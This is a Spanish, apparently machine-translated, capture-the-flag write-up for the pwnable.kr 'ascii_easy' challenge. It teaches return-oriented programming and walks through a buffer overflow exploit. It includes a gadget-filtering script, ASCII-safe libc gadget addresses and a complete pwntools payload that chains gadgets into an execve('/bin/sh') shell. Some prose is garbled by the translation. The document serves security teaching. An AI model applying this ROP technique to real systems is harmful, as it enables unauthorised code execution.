Resolución de problemas con pwnable.kr 26 - ascii_easy. Nos ocupamos de los dispositivos ROP desde cero de una vez por todas

imagen

En este artículo, resolveremos la tarea número 26 del sitio pwnable.kr y entenderemos qué es ROP, cómo funciona, por qué es tan peligroso y compondremos una cadena de ROP con combatientes complicados adicionales.

Información organizacional
Especialmente para aquellos que quieran aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • búsqueda y explotación de vulnerabilidades WEB.

Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.

Para que pueda conocer nuevos artículos, software y otra información, creé un canal en Telegram y un grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones personalmente y responderé a todos .

Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados ​​a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.

Solución de trabajo Ascii_easy


Continuamos la segunda sección. Diré de inmediato que es más difícil que el primero, pero esta vez nos proporcionan el código fuente del programa. No olvide la discusión aquí (https://t.me/RalfHackerPublicChat) y aquí (https://t.me/RalfHackerChannel). Empecemos

Haga clic en el icono de subtítulo ascii_easy. Se nos da la dirección y el puerto para conectarnos a través de ssh.

imagen

Estamos conectados a través de SSH y vemos la bandera, el programa, el código fuente y la biblioteca libc.

imagen

Veamos el código fuente.

#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); } 

Vamos a clasificarlo en bloques. El programa toma una cadena como argumento.

imagen

En este caso, la cadena debe consistir solo en caracteres ascii.

imagen

También se asigna un área de memoria con una dirección base conocida y permisos de lectura, escritura y ejecución. La biblioteca libc se coloca en esta área.

imagen

Además de todo, el programa tiene una función vulnerable.

imagen

Además, si verifica el programa, puede asegurarse de que tenga una pila no ejecutable (parámetro NX). Decidiremos compilando el ROP.

imagen

Copiemos la biblioteca a nosotros mismos.

 scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/ 

Ahora necesita ensamblar la cadena ROP. Para hacer esto, use la herramienta ROP-gadget .

 ROPgadget --binary libc-2.15.so > gadgets.txt 

En el archivo gadgets.txt tenemos todas las cadenas ROP posibles (el ejemplo 10 del primero se presenta a continuación).

imagen

El problema es que necesitamos seleccionar aquellos que consisten solo en caracteres ascii. Para hacer esto, escribimos un filtro simple que dejará solo esas direcciones, cada byte de las cuales pertenece al intervalo de 0x20 a 0x7f inclusive.

 def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close() 

Ejecute el programa y obtenga una lista de direcciones de gadgets ROP que nos satisfacen.

Rop gadgets


Muchos pidieron más detalles sobre la programación orientada al retorno. Ok, demos un ejemplo con ilustraciones. Supongamos que tenemos una vulnerabilidad de desbordamiento de búfer y una pila no ejecutable.

Un gadget ROP es una colección de instrucciones que termina con una declaración de devolución ret. Como regla general, los gadgets eligen entre las terminaciones de las funciones. Tomemos algunas funciones como ejemplo. En cada uno de ellos, seleccione el gadget ROP (resaltado en rojo).

imagen

imagen

imagen

Por lo tanto, tenemos varias cadenas ROP:

 0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret 

Ahora veamos qué tipo de bestias son las cadenas ROP. Cuando el búfer se desborda, podemos reescribir la dirección de retorno. Suponga que en este momento la instrucción ret se debe ejecutar en la función de destino, es decir, en la parte superior de la pila hay alguna dirección válida.

Por ejemplo, queremos ejecutar el siguiente código:

 add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret 

Debemos reescribir la dirección de devolución válida con las siguientes direcciones:

 0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb 

Para entender por qué esto funcionará, veamos la imagen a continuación.

imagen

Por lo tanto, en lugar de volver a una dirección válida, pasamos a la primera dirección de nuestra cadena ROP. Después de ejecutar el primer comando, la instrucción ret moverá el programa a la siguiente dirección en la pila, es decir, al segundo comando. El segundo comando también termina con ret, que también se mueve al siguiente comando, cuya dirección se indica en la pila. Por lo tanto, logramos la ejecución del código que compilamos anteriormente.

ROP encadenamiento para ascii_easy


En primer lugar, descubriremos cuántos bytes necesitamos para desbordar el búfer. Ejecute el programa en gdb y alimente la línea a la entrada.

imagen

Y el programa se bloquea en la dirección "bbbb", lo que significa que el relleno tiene 32 caracteres.

Es más conveniente usar la función execve para operar ROP. La conveniencia radica en pasar parámetros a través de registros. Encontremos esta función en la biblioteca libc. Esto se puede hacer usando GDB.

imagen

Pero si agregamos a la dirección de la función la dirección de carga de la biblioteca en la memoria, veremos que no satisfará la condición ASCII.

imagen

Pero hay otra opción para llamar a la función. Esto es a través de una llamada al sistema. En Linux, cada llamada al sistema tiene su propio número. Este número debe ubicarse en el registro EAX, seguido de una llamada de interrupción int 0x80. La tabla completa de siscall se puede ver aquí .

imagen

Por lo tanto, la función execve tiene el número 11, es decir, el valor 0xb debe ubicarse en el registro EAX. Los parámetros se transfieren a través de los registros EBX, la dirección al comienzo de la línea de parámetros, ECX, la dirección en el puntero a la línea de parámetros y EDX, la dirección en el puntero a las variables de entorno del argumento.

imagen

Necesitamos pasar la cadena '/ bin / sh' a la función. Para hacer esto, necesitaremos escribirlo en el lugar permitido para la grabación y pasar la dirección de la cadena como parámetro. La línea tendrá que guardar 4 caracteres, es decir. '/ bin' y '// sh', ya que los registros transmiten 4 bytes cada uno. Para esto, encontré los siguientes gadgets:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret 

Este gadget:

  1. Tome de la pila la dirección para escribir la cadena y colóquela en el registro edx, anula eax.
  2. Toma un valor de la pila y lo coloca en edi.
  3. Copiará el valor de edi a la dirección en edx (escribirá nuestra línea en la dirección deseada).
  4. Tomará dos valores más de la pila.

Por lo tanto, para su funcionamiento es necesario transferir los siguientes valores:

 0x555f3555 ;    memory_addr ;     (edx) 4__ ; 4    (edi) 0x55687b3c ;    4__ ;    (esi) 4__ ;    (edi) 

Luego puede ejecutar los mismos gadgets para copiar la segunda parte de la línea. No será difícil encontrar la dirección para escribir, ya que la biblioteca está cargada en un área de memoria accesible para lectura, escritura y ejecución.

imagen

Cualquier dirección que satisfaga la condición ASCII puede tomarse allí. Tomé la dirección 0x55562023.

Ahora necesitamos terminar nuestra línea con un carácter nulo. Para esta tarea, uso la siguiente cadena de gadgets:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret 

Este gadget:

  1. Tome de la pila la dirección de la entrada nula y colóquela en el registro edx, anule eax.
  2. Toma el valor de la pila.
  3. Copie el valor de eax cero a la dirección en edx.

Por lo tanto, para su funcionamiento es necesario transferir los siguientes valores:

 0x555f3555 ;    memory_addr+8 ;    0 -   (edx) 4__ ;    edi 0x5560645c ;    

Por lo tanto, copiamos nuestra cadena en la memoria. A continuación, debe completar los registros para transferir valores. Dado que el programa "/ bin / sh" llamado en execve no tendrá sus propios argumentos y variables de entorno, les pasaremos un puntero nulo. En ebx escribimos la dirección en la línea y en eax escribimos 11, el número del execve siskol. Para esto, encontré los siguientes gadgets:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret 

Este gadget:

  1. Pone un valor de la pila en edx, anula eax.
  2. Mueve el valor de la pila a edi.
  3. Mueva el valor de la pila a ecx, agregue a cero eax 10.
  4. Mueve el valor de la pila a ebx.
  5. Aumentar eax de 10 a 11.

Por lo tanto, para su funcionamiento es necesario transferir los siguientes valores:

 0x555f3555 ;    memory_addr+8 ;  null (edx) 4__ ;    edi 0x556d2a51 ;    memory_addr+8 ;  null (ecx) 0x5557734e ;    memory_addr ;  -(ebx) 0x556c6864 ;    

Y terminamos nuestra cadena ROP con una excepción.

 0x55667176 : inc esi ; int 0x80 

A continuación se muestra un registro más abreviado y general de lo anterior.

imagen

Y el código que forma la carga útil.

 from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload) 

imagen

imagen

Francamente, para mí, por alguna razón, fue una de las tareas más difíciles de este sitio ...

Más y más complicado ... Puedes unirte a nosotros en Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

Source: https://habr.com/ru/post/479184/


All Articles